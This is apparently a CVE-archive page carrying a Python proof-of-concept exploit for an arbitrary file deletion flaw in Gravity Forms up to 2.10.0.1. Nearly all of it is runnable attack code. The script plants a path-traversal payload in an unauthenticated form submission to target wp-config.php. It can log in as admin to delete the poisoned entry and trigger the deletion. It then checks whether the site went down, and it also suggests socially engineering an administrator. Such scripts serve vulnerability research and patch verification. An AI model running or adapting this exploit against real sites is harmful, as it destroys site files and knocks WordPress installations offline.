5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-48866 - Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal
CVSS: 9.6 (Critical) | CWE-22 | Unauthenticated (requires admin interaction to trigger)

Vulnerability:
  Gravity Forms does not validate that file URLs stored in entries are within
  the uploads directory. An attacker can submit a form with a crafted
  gform_uploaded_files parameter containing path traversal sequences (../).
  When an admin later deletes the entry (or the file from the entry), the
  delete_physical_file() function resolves the traversal and deletes an
  arbitrary file from the server filesystem.

Attack Flow:
  1. Attacker submits a public form with a multi-file upload field
  2. POST includes gform_uploaded_files with a URL containing ../../../target_file
  3. URL passes esc_url_raw() and is_valid_url() checks (neither strips ../)
  4. Malicious URL is stored in the database entry
  5. When admin deletes the entry, unlink() is called on the traversed path

Fix (2.10.1):
  Added GFCommon::is_file_in_uploads() check that resolves ../. sequences
  and verifies the canonical path starts with the uploads directory.

Usage:
  python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php
  python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php --trigger --admin-user admin --admin-pass password

Date: 2026-06-01
"""

import argparse
import json
import re
import sys
import urllib.parse

try:
    import requests
except ImportError:
    print("[!] 'requests' module not found. Install with: pip install requests")
    sys.exit(1)


def get_form_nonce(session, target, form_id):
    """Fetch the form page and extract the nonce and gform_unique_id."""
    # Try the home page first, then common form pages
    for path in ['/', f'/?gf_page=preview&id={form_id}', '/contact/', '/submit/']:
        try:
            resp = session.get(f'{target}{path}', timeout=15, verify=False)
            if resp.status_code == 200 and f'gform_submit_{form_id}' in resp.text:
                break
        except Exception:
            continue
    else:
        # Try wp-admin preview as fallback
        resp = session.get(f'{target}/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id={form_id}', timeout=15, verify=False)

    nonce_match = re.search(r'gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']', resp.text)
    if not nonce_match:
        # Try alternate nonce patterns
        nonce_match = re.search(r'name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']', resp.text)
    if not nonce_match:
        nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)

    nonce = nonce_match.group(1) if nonce_match else None

    unique_id_match = re.search(r'gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']', resp.text)
    unique_id = unique_id_match.group(1) if unique_id_match else 'abc123def456'

    return nonce, unique_id, resp.text


def craft_payload(target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
    """Craft the gform_uploaded_files payload with path traversal."""
    # Upload root: {target}/wp-content/uploads/gravity_forms/
    # Traversal escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root
    traversal = '../' * traversal_depth
    if upload_url:
        malicious_url = f'{upload_url.rstrip("/")}/{traversal}{target_file}'
    else:
        malicious_url = f'{target}/wp-content/uploads/gravity_forms/{traversal}{target_file}'

    input_name = f'input_{field_id}'
    payload = {
        input_name: [
            {
                'url': malicious_url,
                'uploaded_filename': 'legitimate.txt',
                'id': 'poc-file-1'
            }
        ]
    }

    return json.dumps(payload), malicious_url


def submit_form(session, target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
    """Submit the form with the crafted path traversal payload."""
    print(f'[*] Fetching form page to get nonce...')
    nonce, unique_id, page_html = get_form_nonce(session, target, form_id)

    if nonce:
        print(f'[+] Got nonce: {nonce}')
    else:
        print(f'[!] Could not extract nonce from form page. Trying without nonce...')

    gform_uploaded_files, malicious_url = craft_payload(
        target, form_id, field_id, target_file, traversal_depth, upload_url
    )

    print(f'[*] Crafted payload URL: {malicious_url}')
    print(f'[*] gform_uploaded_files: {gform_uploaded_files}')

    post_data = {
        f'is_submit_{form_id}': '1',
        'gform_submit': str(form_id),
        f'gform_unique_id': unique_id,
        'gform_uploaded_files': gform_uploaded_files,
        'gform_target_page_number_1': '0',
        'gform_source_page_number_1': '1',
        'gform_field_values': '',
    }

    if nonce:
        post_data['gform_ajax_nonce'] = nonce

    ajax_url = f'{target}/wp-admin/admin-ajax.php'

    print(f'\n[*] Submitting form {form_id} to {ajax_url}...')
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest',
    }

    post_data['action'] = 'gform_submit_form'
    resp = session.post(ajax_url, data=post_data, headers=headers, timeout=30, verify=False)

    print(f'[*] Response status: {resp.status_code}')
    print(f'[*] Response length: {len(resp.text)}')

    if resp.status_code == 200:
        entry_id = None
        # Try to extract entry_id from the AJAX response
        eid_match = re.search(r'"entry_id"\s*:\s*"?(\d+)"?', resp.text)
        if not eid_match:
            eid_match = re.search(r'entry_id=(\d+)', resp.text)
        if not eid_match:
            eid_match = re.search(r'lid=(\d+)', resp.text)
        if eid_match:
            entry_id = eid_match.group(1)

        if 'gformRedirect' in resp.text or 'confirmation' in resp.text.lower() or 'thank' in resp.text.lower():
            print(f'[+] Form submitted successfully. Malicious URL stored in entry.')
            if entry_id:
                print(f'[+] Entry ID: {entry_id}')
            return True, entry_id
        elif 'validation_error' in resp.text or 'validation_message' in resp.text:
            print(f'[-] Form validation failed. The form may require additional fields.')
            print(f'    Response snippet: {resp.text[:500]}')
            return False, None
        else:
            print(f'[-] Unclear response. Cannot confirm entry creation.')
            print(f'    Response snippet: {resp.text[:500]}')
            return False, None
    else:
        print(f'[-] Submission failed with status {resp.status_code}')
        del post_data['action']
        resp = session.post(target, data=post_data, headers=headers, timeout=30, verify=False)
        print(f'[*] Direct POST response: {resp.status_code}')
        return resp.status_code == 200, None


def trigger_deletion(session, target, admin_user, admin_pass, form_id, poisoned_entry_id=None):
    """Log in as admin and delete the poisoned entry to trigger the file deletion."""
    print(f'\n[*] === Phase 2: Triggering file deletion as admin ===')

    login_url = f'{target}/wp-login.php'
    login_data = {
        'log': admin_user,
        'pwd': admin_pass,
        'wp-submit': 'Log In',
        'redirect_to': f'{target}/wp-admin/',
        'testcookie': '1',
    }
    session.cookies.set('wordpress_test_cookie', 'WP+Cookie+check')
    resp = session.post(login_url, data=login_data, timeout=15, verify=False, allow_redirects=True)

    if 'dashboard' in resp.text.lower() or resp.url.endswith('/wp-admin/'):
        print(f'[+] Logged in as {admin_user}')
    else:
        print(f'[-] Login may have failed. Status: {resp.status_code}, URL: {resp.url}')
        return False

    entries_url = f'{target}/wp-admin/admin.php?page=gf_entries'
    resp = session.get(entries_url, timeout=15, verify=False)

    entry_ids = re.findall(r'entry_id=(\d+)', resp.text)
    if not entry_ids:
        print(f'[*] Trying REST API to find entries...')
        api_resp = session.get(f'{target}/wp-json/gf/v2/entries?_sort_direction=DESC&paging[page_size]=5', timeout=15, verify=False)
        if api_resp.status_code == 200:
            try:
                entries_data = api_resp.json()
                if 'entries' in entries_data:
                    entry_ids = [str(e['id']) for e in entries_data['entries']]
            except Exception:
                pass
        elif api_resp.status_code in (401, 403):
            print(f'[-] REST API requires authentication or is disabled.')
        else:
            print(f'[-] REST API returned {api_resp.status_code}')

    if not entry_ids:
        print(f'[-] No entries found. The form submission may not have created an entry.')
        return False

    # If we know the poisoned entry ID, use it directly
    if poisoned_entry_id and str(poisoned_entry_id) in [str(e) for e in entry_ids]:
        latest_entry_id = str(poisoned_entry_id)
        print(f'[+] Using poisoned entry ID: {latest_entry_id}')
    elif poisoned_entry_id:
        # Entry ID not in the list — might be on a different page
        print(f'[!] Poisoned entry {poisoned_entry_id} not in first page of results.')
        print(f'[*] Trying poisoned entry ID directly: {poisoned_entry_id}')
        latest_entry_id = str(poisoned_entry_id)
    else:
        latest_entry_id = entry_ids[0]
        print(f'[+] Found latest entry ID: {latest_entry_id}')
        print(f'[!] No poisoned entry ID known. Deleting latest entry may target wrong entry.')

    entry_detail_url = f'{target}/wp-admin/admin.php?page=gf_entries&view=entry&id={form_id}&lid={latest_entry_id}'
    resp = session.get(entry_detail_url, timeout=15, verify=False)

    delete_nonce = None
    nonce_match = re.search(r'page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)', resp.text)
    if nonce_match:
        delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        nonce_match = re.search(r'_wpnonce=([a-f0-9]+).*?delete', resp.text)
        if nonce_match:
            delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        resp = session.get(entries_url, timeout=15, verify=False)
        nonce_match = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', resp.text)
        if nonce_match:
            delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        print(f'[-] Could not find delete nonce. Try deleting entry {latest_entry_id} manually.')
        return False

    print(f'[*] Deleting entry {latest_entry_id}...')
    delete_data = {
        'action': 'delete',
        'entry[]': latest_entry_id,
        '_wpnonce': delete_nonce,
    }
    resp = session.post(entries_url, data=delete_data, timeout=15, verify=False)

    if resp.status_code == 200:
        print(f'[+] Entry deleted. If the target file existed, it should now be deleted.')
        return True
    else:
        print(f'[-] Delete request returned status {resp.status_code}')
        return False


def verify_file_exists(session, target, target_file):
    """Check if the target file is accessible (for files like wp-config.php, check site health)."""
    print(f'\n[*] Checking target site health...')
    try:
        resp = session.get(target, timeout=15, verify=False)
        if target_file != 'wp-config.php':
            print(f'[!] Cannot verify deletion of {target_file} without server-side access.')
            return None
        if resp.status_code == 200 and ('WordPress' in resp.text or '<html' in resp.text):
            print(f'[+] Site is responding normally (file may not have been deleted yet)')
            return True
        elif resp.status_code == 500 or 'error establishing a database connection' in resp.text.lower():
            print(f'[!!!] Site returned error - wp-config.php may have been deleted!')
            return False
        else:
            print(f'[?] Site status: {resp.status_code}')
            return None
    except Exception as e:
        print(f'[!!!] Site unreachable: {e} - wp-config.php may have been deleted!')
        return False


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48866 - Gravity Forms Path Traversal Arbitrary File Deletion PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Phase 1 only - inject malicious entry (unauthenticated)
  python3 poc.py --target https://test.com --form-id 1 --field-id 3

  # Full exploitation - inject + trigger deletion
  python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
      --trigger --admin-user admin --admin-pass password

  # Target a specific file with custom traversal depth
  python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
      --file .htaccess --depth 2
        """
    )

    parser.add_argument('--target', '-t', required=True, help='Target WordPress URL (e.g., https://target.com)')
    parser.add_argument('--form-id', '-f', type=int, required=True, help='Gravity Forms form ID')
    parser.add_argument('--field-id', '-i', type=int, required=True, help='File upload field ID')
    parser.add_argument('--file', default='wp-config.php', help='File to delete (relative to WP root, default: wp-config.php)')
    parser.add_argument('--depth', type=int, default=3, help='Path traversal depth (default: 3 for gravity_forms -> wp root)')
    parser.add_argument('--upload-url', help='Full upload URL root (auto-detected if omitted, e.g. https://target.com/wp-content/uploads/gravity_forms)')
    parser.add_argument('--trigger', action='store_true', help='Also trigger the deletion by logging in as admin and deleting the entry')
    parser.add_argument('--admin-user', default='admin', help='WordPress admin username (for --trigger)')
    parser.add_argument('--admin-pass', default='admin', help='WordPress admin password (for --trigger)')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--verify-only', action='store_true', help='Only check if the target file still exists')

    args = parser.parse_args()

    target = args.target.rstrip('/')
    if not target.startswith('http'):
        target = f'https://{target}'

    print(f'''
    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     {target}
    Form ID:    {args.form_id}
    Field ID:   {args.field_id}
    File:       {args.file}
    Depth:      {args.depth}
    Trigger:    {args.trigger}
    ''')

    session = requests.Session()
    session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

    if args.proxy:
        session.proxies = {'http': args.proxy, 'https': args.proxy}

    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.verify_only:
        verify_file_exists(session, target, args.file)
        return

    print(f'[*] === Phase 1: Injecting path traversal payload ===')
    success, entry_id = submit_form(session, target, args.form_id, args.field_id, args.file, args.depth, args.upload_url)

    if not success:
        print(f'\n[-] Phase 1 failed. Form submission did not succeed.')
        print(f'[*] Possible reasons:')
        print(f'    - Form requires additional required fields')
        print(f'    - Form ID or field ID is incorrect')
        print(f'    - AJAX submission is disabled')
        print(f'    - Anti-spam (honeypot/reCAPTCHA) is blocking')
        sys.exit(1)

    if args.trigger:
        admin_session = requests.Session()
        admin_session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        if args.proxy:
            admin_session.proxies = {'http': args.proxy, 'https': args.proxy}

        trigger_deletion(admin_session, target, args.admin_user, args.admin_pass, args.form_id, entry_id)

        verify_file_exists(session, target, args.file)
    else:
        print(f'\n[+] Phase 1 complete. The malicious URL has been injected into the entry.')
        print(f'[*] To trigger the deletion, an admin must delete the entry containing the')
        print(f'    poisoned file URL. This can be achieved via:')
        print(f'    1. Social engineering (send admin a link to delete the entry)')
        print(f'    2. Wait for routine entry cleanup')
        print(f'    3. Use --trigger flag with admin credentials to simulate')
        print(f'')
        print(f'[*] When the entry is deleted, the following file will be removed:')
        print(f'    {args.file}')


if __name__ == '__main__':
    main()